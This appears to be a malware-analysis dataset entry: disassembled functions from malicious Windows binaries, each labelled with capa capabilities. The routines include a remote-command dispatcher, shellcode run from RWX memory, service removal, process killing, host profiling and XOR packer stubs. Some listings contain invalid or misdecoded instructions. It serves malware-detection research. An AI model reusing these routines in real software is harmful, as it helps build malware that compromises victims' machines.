joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4023b0
Capabilities:
Create process on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
push esi
push edi
mov dword [ebp - 0x18], 0
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 4
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0xdb
ja case.0x4023f4.1
mov edx, dword [ebp - 4]
movzx eax, byte [edx + 0x40264c]
jmp dword [eax*4 + 0x402618]
call fcn.00402950
call fcn.00402730
jmp case.0x4023f4.1
call fcn.00402730
jmp case.0x4023f4.1
mov ecx, dword [section..data]
push ecx
call fcn.004028a0
add esp, 4
jmp case.0x4023f4.1
mov edx, dword [ebp + 8]
mov eax, dword [edx + 1]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402eb0
add esp, 4
mov dword [ebp - 0x14], eax
push 5
push 0
lea edx, [ebp - 0xc]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 4
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 3
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [section..data]
push eax
call fcn.00401930
jmp case.0x4023f4.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x406620
push 0x40a518
call fcn.00401710
add esp, 0xc
push 0x40a518
mov edx, dword [section..data]
push edx
call fcn.004021f0
add esp, 8
jmp case.0x4023f4.1
mov eax, dword [section..data]
push eax
call fcn.004015d0
jmp case.0x4023f4.1
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x406624
push 0x40a518
call fcn.00401710
add esp, 0xc
push 0x40a518
mov edx, dword [section..data]
push edx
call fcn.004013a0
jmp case.0x4023f4.1
push 0
push 0
push 0xb8
lea eax, [ebp - 0x2d0]
push eax
mov ecx, dword [section..data]
push ecx
call fcn.004018d0
sub esp, 0xb8
mov ecx, 0x2e
lea esi, [ebp - 0x2d0]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov edx, dword [section..data]
push edx
call section..text
jmp case.0x4023f4.1
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x406628
push 0x40a518
call fcn.00401710
add esp, 0xc
push 0
push 0
push 0
push 0x4027a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x4023f4.1
push 0xff
push 0
lea ecx, [ebp - 0x118]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x40662c
lea eax, [ebp - 0x118]
push eax
call fcn.00401710
add esp, 0xc
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp case.0x4023f4.1
push 0xff
push 0
lea edx, [ebp - 0x218]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x406630
lea ecx, [ebp - 0x218]
push ecx
call fcn.00401710
add esp, 0xc
push 1
push 0
push 0
lea edx, [ebp - 0x218]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp case.0x4023f4.1
cmp dword [0x40a510], 0
jne case.0x4023f4.1
push 0
push 0
push 0
push 0x402a60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402730
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x40a510], 0
je 0x402770
push 0
mov eax, dword [0x40a510]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
mov ecx, dword [0x40a510]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x40a510]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40a510], 0
cmp dword [section..data], 0xffffffff
je 0x402784
mov eax, dword [section..data]
push eax
call fcn.00401780
mov dword [section..data], 0xffffffff
mov eax, 1
pop ebp
ret

Function at 0x4028a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp - 8], 0
je 0x40291d
push 0
push 0
push 0x12c
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401930
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x4028e0
mov dword [ebp - 0x10], 1
push 0
push 0
push 0x12c
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401930
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402950
Capabilities:
Delete service
Get common file path
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.winnet.exe
lea ecx, [ebp - 0x12c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
push 0xf01ff
push str.IIS_Angent
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4029ba
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402a0e
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x402a04
cmp dword [ebp - 0x24], 1
je 0x402a04
lea eax, [ebp - 0x28]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x402a04
cmp dword [ebp - 0x24], 3
jne 0x402a04
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x4029e6
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x26c]
push ecx
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402a54
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret

Function at 0x402eb0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402ee6
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x4032c0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x40
push 0x3000
mov eax, dword [0x408014]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov ecx, dword [0x408014]
push ecx
push 0x408018
mov edx, dword [ebp - 4]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403327
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateThread_failed__Error_code:__d_n
call fcn.004034c0
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x403330
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x403170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40336d
push 0x4065a0
call fcn.004034c0
add esp, 4
mov eax, 1
jmp 0x4034ab
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 0x402f00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4033ae
push 0x4065c0
call fcn.004034c0
add esp, 4
mov eax, 1
jmp 0x4034ab
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004032c0
mov ecx, 1
test ecx, ecx
je 0x403466
call fcn.00402120
test eax, eax
je 0x40345c
push 0x401
call fcn.0040432b
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
mov eax, 1
test eax, eax
je 0x403443
push 0x401
push 0
mov ecx, dword [ebp - 8]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0x400
mov edx, dword [ebp - 8]
push edx
mov eax, dword [section..data]
push eax
call fcn.004018d0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40343f
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004023b0
add esp, 8
mov dword [ebp - 0xc], eax
jmp 0x403441
jmp 0x403443
jmp 0x4033ed
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00404334
add esp, 4
mov dword [ebp - 8], 0
call fcn.00402730
jmp 0x4033bd
call fcn.00401ac0
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 0x402f70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40349f
push 0x4065e4
call fcn.004034c0
add esp, 4
mov eax, 1
jmp 0x4034ab
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4040a0
Capabilities:
Check os version
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
mov dword [ebp - 4], 0x100
push 0x100
push 0
lea eax, [ebp - 0x1a0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x1a0]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x4040e2
xor al, al
jmp 0x4042e0
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x1a0], 0
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov byte [eax + edx], 0
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov dword [ebp - 8], 0x100
push 0x100
push 0
lea eax, [ebp - 0x2a0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x2a0]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x404148
xor al, al
jmp 0x4042e0
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x2a0], 0
push 0x40663c
mov ecx, dword [ebp + 8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
lea edx, [ebp - 0x2a0]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov byte [eax + edx + 0x40], 0
push 0x94
push 0
lea ecx, [ebp - 0xa0]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xa0], 0x94
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4041bf
xor al, al
jmp 0x4042e0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
je 0x40426e
cmp dword [ebp - 0xc], 2
je 0x4041dd
jmp 0x4042ba
cmp dword [ebp - 0x9c], 5
jne 0x404203
cmp dword [ebp - 0x98], 2
jne 0x404203
push str.Windows2003
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 5
jne 0x404229
cmp dword [ebp - 0x98], 1
jne 0x404229
push str.WindowsXP
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 5
jne 0x40424f
cmp dword [ebp - 0x98], 0
jne 0x40424f
push str.Windows2000
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 4
ja 0x40426c
push str.WindowsNT
mov ecx, dword [ebp + 8]
add ecx, 0x40
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
jmp 0x4042ba
cmp dword [ebp - 0x9c], 4
jne 0x404294
cmp dword [ebp - 0x98], 0
jne 0x404294
push str.Windows95
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
cmp dword [ebp - 0x9c], 4
jne 0x4042ba
cmp dword [ebp - 0x98], 0xa
jne 0x4042ba
push str.Windows98
mov eax, dword [ebp + 8]
add eax, 0x40
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov byte [eax + edx + 0x4c], 0
push str.FuckYou_
mov ecx, dword [ebp + 8]
add ecx, 0x4c
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x404b8d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404bcc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404bcc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404bcc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404bcc
cmp dword [ecx + 0x74], 0xe
jbe 0x404bcc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x6601e580
Capabilities:
Contain obfuscated stackstrings

Disassembly:
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
invalid

Function at 0x6601e5d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop es
push es
fnstcw word [ebx]
lea eax, [ebp - 0x40]
push eax
call fcn.6601e2a2
push eax
push esi
push dword [ebp + 8]
call fcn.6601e257
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.6601e292
leave
insd dword es:[edi], dx
paddusb mm1, qword [ebp + 0x5d88e845]
call 0x4f5f6e53
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.6601e2a2
push eax
Function at 0x6601e970
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x6601e969
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x6601e987
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edi, es
add al, 1
add byte [eax], al
mov edi, es
add al, 1
add byte [eax], al
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x6601e9e5
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x6601e9cc
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x6601e9d5
invalid
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x6601e9df
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x6601e9c1
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x6601e94b
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x6601ea32
dec eax
je 0x6601ea29
sub eax, 3
je 0x6601ea20
mov dword [ebp - 4], 0x40
jmp 0x6601ea4f
mov dword [ebp - 4], 4
jmp 0x6601ea35
mov dword [ebp - 4], 0x20
jmp 0x6601ea35
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x6601ea81
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x6601ea01
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.6601e292
cmp ebp, dword [edi]
les esi, [esi + 0x6a1475ff]
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x6601ea8d
Function at 0x6601e9d0
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x6601e969
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x6601e987
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edi, es
add al, 1
add byte [eax], al
mov edi, es
add al, 1
add byte [eax], al
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x6601e9e5
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x6601e9cc
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x6601e9d5
invalid
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x6601e9df
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x6601e9c1
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x6601e94b
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x6601ea32
dec eax
je 0x6601ea29
sub eax, 3
je 0x6601ea20
mov dword [ebp - 4], 0x40
jmp 0x6601ea4f
mov dword [ebp - 4], 4
jmp 0x6601ea35
mov dword [ebp - 4], 0x20
jmp 0x6601ea35
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x6601ea81
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x6601ea01
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.6601e292
cmp ebp, dword [edi]
les esi, [esi + 0x6a1475ff]
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x6601ea8d

Function at 0x6601f680
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
call fcn.6601e203
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x6601f69f
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x6601f6e8
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x6601f692
call fcn.6601e292
and dh, byte fs:[edi + 0x5b]
and byte [ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
invalid
invalid
Function at 0x43b65c
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x43b3c1
dec esi
call fcn.0043b699
add eax, 0xe28b9a8e
sub eax, eax
or eax, eax
xor dword [ebx], edx
sub esp, 4
mov dword [esp], esi
mov esi, dword [esp]
add esp, 4
dec esi
inc ebx
add eax, 0x17a1a3b3
mov esi, 0x873cd6fd
mov eax, eax
cmp ebx, ecx
jne fcn.0043b65c
add esi, eax
or esi, esi
ret
Function at 0x402fbd
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x5c
jne 0x402ffb
mov eax, dword [ebp + 8]
movsx eax, byte [eax + 1]
cmp eax, 0x5c
jne 0x402ffb
mov dword [ebp - 0xc], 1
jmp 0x403002
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x403063
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
lea eax, [eax + ecx - 1]
sub edx, edx
div dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
cmp dword [ebp - 4], eax
ja 0x40305e
mov dword [ebp - 0x10], 1
jmp 0x40306a
mov dword [ebp - 0x10], 1
cmp dword [0x4124a0], 0
je 0x40313f
mov dword [ebp - 0xc0], 0x94
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0xb4]
and eax, 0xffff
cmp eax, 0x3e8
jle 0x40313f
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
je 0x40313f
push str.GetDiskFreeSpaceExA
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x40313f
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0xc8]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40313f
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 0xd0], 0
jb 0x403138
ja 0x40312c
cmp dword [ebp - 0xd4], eax
jb 0x403138
mov dword [ebp - 0x10], 1
jmp 0x40313f
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
jmp 0x403147
pop edi
pop esi
pop ebx
leave
ret 8